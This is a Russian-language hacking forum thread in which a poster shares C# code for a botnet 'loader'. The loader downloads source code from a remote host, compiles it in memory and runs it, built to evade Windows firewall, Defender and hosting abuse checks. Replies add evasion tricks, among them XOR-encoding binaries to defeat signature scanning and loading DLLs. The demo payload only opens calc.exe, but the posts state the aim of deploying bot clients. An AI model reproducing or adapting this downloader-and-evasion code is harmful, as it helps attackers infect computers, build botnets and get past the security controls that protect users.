Всем Здрасте. Сижу я значит (а я это тот, кто боготворит Мелкомягких и в частности C#, powershell) и захотелось вот мне написать downloader shell(далее лоадер). Речь не пойдет о старом добром и уже затертым до дыр ShellExecute, или wget, или прочей мега известной функции, потому что........ ДА ПОТОМУ ЧТО ЭТО НИ ХРЕНА УЖЕ НЕ РАБОТАЕТ. Но, обо всем по порядку..... Начнем с требований к нашему лоадеру: * В фоновом режиме скачивать и запускать C++/C# программы; * Не палиться сетевыми экранами в windows при скачивании exe; * Обойти хостинговые проверки и прочую чушь при попытке скачать с ftp Windows; Сразу оговорюсь, сие способ имеет кучу недостатков и так же ограничений и спасает далеко не ото всего, но мою задачу он решил. А задача моя была, не много ни мало посадить клиент бота. (Надо ли говорить, что для работы сие прилажухи необходимо установленный .Net) Попытка 1. Я как человек особо ̶х̶и̶т̶р̶о̶ж̶о̶п̶ы̶й̶ умный пошел простым путем. Залил файл на хостинг как есть, надеялся его скачать программно и запустить через мною любимую ShellExecute; Code: public enum ShowCommands : int { SW_HIDE = 0, SW_SHOWNORMAL = 1, SW_NORMAL = 1, SW_SHOWMINIMIZED = 2, SW_SHOWMAXIMIZED = 3, SW_MAXIMIZE = 3, SW_SHOWNOACTIVATE = 4, SW_SHOW = 5, SW_MINIMIZE = 6, SW_SHOWMINNOACTIVE = 7, SW_SHOWNA = 8, SW_RESTORE = 9, SW_SHOWDEFAULT = 10, SW_FORCEMINIMIZE = 11, SW_MAX = 11 } [DllImport("shell32.dll")] static extern IntPtr ShellExecute(IntPtr hwnd,string lpOperation,string lpFile,string lpParameters,string lpDirectory, ShowCommands nShowCmd); static void Main(string[] args) { string fileName = @"C:\1.exe"; using (WebClient myWebClient = new WebClient()) { string url = @"http://WEB-HOST/shell/Shell.exe"; using (WebClient webClient = new WebClient()) { webClient.DownloadFile(url, fileName); } } ShellExecute(IntPtr.Zero, "open", fileName, String.Empty, String.Empty, ShowCommands.SW_SHOWNORMAL); } Как и предполагалось файл даже не удалось скачать, аналогично используя FTP сервис в Windws 8. 10. И вот тогда на ум приходит компиляция на лету... Суть метода в том, что мы скачиванием не готовый файл, а исходный код, а компилируем его на лету. Благодаря радостям рефлексии, то один лоадер может работать и для C++ и F#, но не об этом. Итак попытка #2. Заливаем shell.txt со следующим содержанием Code: using System; namespace ShellCode { public class Shell { public void Execute(string _value) { System.Diagnostics.Process.Start("calc.exe"); } } } Ну и собственно код самого лодера. Класс конструктор компилятора FabrikaShell Code: public class FabrikaShell { private CompilerResults Results = null; public void Compile(string _source, string[] _assemblies) { CompilerParameters compilerParameters = new CompilerParameters(); compilerParameters.GenerateInMemory = true; if (_assemblies != null) { foreach (string asm in _assemblies) { compilerParameters.ReferencedAssemblies.Add(asm); } } Results = new CSharpCodeProvider() .CompileAssemblyFromSource(compilerParameters, _source); if (Results.Errors.Count > 0) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < Results.Errors.Count; i++) { sb.Append(Results.Errors[i].ToString()); } throw new InvalidOperationException(sb.ToString()); } } public object CreateClass(string _className) { object obj = Results.CompiledAssembly.CreateInstance(_className); return obj; } } Основной Класс Loader'а Code: public class Program { static void RunScript(string script, string runableClassName) { FabrikaShell engine = new FabrikaShell(); engine.Compile(script, new string[] { Assembly.GetExecutingAssembly().Location }); Object run = engine.CreateClass(runableClassName); MethodInfo myMethod = run.GetType().GetMethod("Execute"); List<object> parameters = new List<object>(); parameters.Add("VALUE"); myMethod.Invoke(run, parameters.ToArray()); } static void Main(string[] args) { public const string FileToPath = @"C:\1.txt"; using (WebClient myWebClient = new WebClient()) { string url = @"http://URLTOSHELL/shell/Shell.txt"; using (WebClient webClient = new WebClient()) { webClient.DownloadFile(url, FileToPath); } } string code = String.Empty; using (StreamReader rd = File.OpenText(FileToPath)) { code = rd.ReadToEnd(); } RunScript(code, "ShellCode.Shell"); Console.ReadKey(); } } ПРОФИТ
Странная тема. Если такая проблема с заливкой exe, то как автор собирается забросить и запустить лоадер?! С другой стороны, если уже лоадер запущен и фаервол проверяет расширения то можно просто заливать exe с другими расширениями и переименовывать в ехе перед запуском. Если идет проверка тела файла на предмет его исполняемости, то заливать заархивированный ехе (можно под паролем) с последующей распаковкой и запуском или скачивать dll и подгружать её. Вариантов хватает.
То, что вариантов хватает, никто не спорит (таже DLL injection никуда не делась). Но проблема возникала именно с программной подгрузкой. У меня была задача реализовать лоадер для ботнета, который бы асинхронно собирал любой шелл. Простым скачать запустить это не удалось (даже защитник windows 10 блочил такие вещи) или в силу ограничений того же hostinger'а. (1 вариант). Но скачивая текстовый файл - эти проверки (в том числе и Abuse устойчивость) удалось обойти именно компиляцией на стороне клиента. Здесь еще один плюс C# (А точнее .Net библиотеки), что не надо вместе с лоадером держать компилятор C# (в отличии от C++). В целом если говорить о пользе, то очевидно, что применимо только для .Net'овских программ. Для меня как закоренелого шарписта - этот способ вполне интересен (когда я о нем узнал), поэтому и решил крутануть, хотя бы для того, чтобы просто знать, а там кто знает, может когда - нибудь, кто нибудь пидумает, что то более оригинальное, а может быть - это просто очередная темка по практикуму динамического программирования. Минусов тоже хватает. Однако, Спасибо за отзыв.
Если брандмауэр/антивирь блочит программную загрузку бинарей, то что мешает проксорить этот бинарь на сервере, в лоадере прогрузить его и проксорить опять, тем самым восстановив оригинальный файл?
Неееее, об антивире здесь речи не идет. Обход антивирусов - это уже совсем другая песня. А остальное чуток не понял.....
Например так (полу-псевдокод): Code: binary = load_file('target.exe'); for(int i = 0; i < BINARY_SIZE; i++) { binary[i] = binary[i] ^ 0xFF; } Тобишь для каждого байта делаем XOR с 0xFF, тем самым преобразовывая валидный бинарь в "бессмысленную" кучу данных. Эти данные впоследствии скачиваем каким угодно образом, проделываем эту же операцию (binary[ i ] = binary[ i ] ^ 0xFF), и восстанавливаем бинарь. Не знаю как там обстоят дела с фильтрами бранмауэров, но обычную проверку по сигнатурам это должно с легкостью пройти. Из плюсов по сравнению с методом, описанным в теме: нет палева исходного кода; время, затраченное на "восстановление" бинарника, на несколько порядков меньше, чем компиляция на лету.